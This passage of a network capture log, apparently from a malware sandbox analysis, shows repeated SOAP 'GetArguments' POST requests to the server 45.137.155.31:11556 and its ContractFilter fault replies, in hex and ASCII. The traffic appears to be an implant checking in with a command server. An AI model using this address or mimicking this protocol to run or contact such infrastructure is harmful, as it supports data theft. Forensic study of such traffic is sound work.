6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:17.215059996 CEST	10627	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:17.283859015 CEST	10628	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:17.355427027 CEST	10629	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:16 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:18.807960987 CEST	10629	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:18.878890991 CEST	10629	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:18.993797064 CEST	10630	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:18 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:20.074364901 CEST	10631	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:20.144990921 CEST	10631	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:20.217818022 CEST	10632	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:20 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:21.230635881 CEST	10632	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:21.299559116 CEST	10632	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:21.369700909 CEST	10633	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:21 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:22.387101889 CEST	10634	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:22.459809065 CEST	10634	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:22.530771971 CEST	10635	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:22 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:23.543819904 CEST	10635	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:23.614036083 CEST	10635	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:23.690289021 CEST	10636	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:23 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:24.700164080 CEST	10637	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:24.783130884 CEST	10637	IN	HTTP/1.1 100 Continue
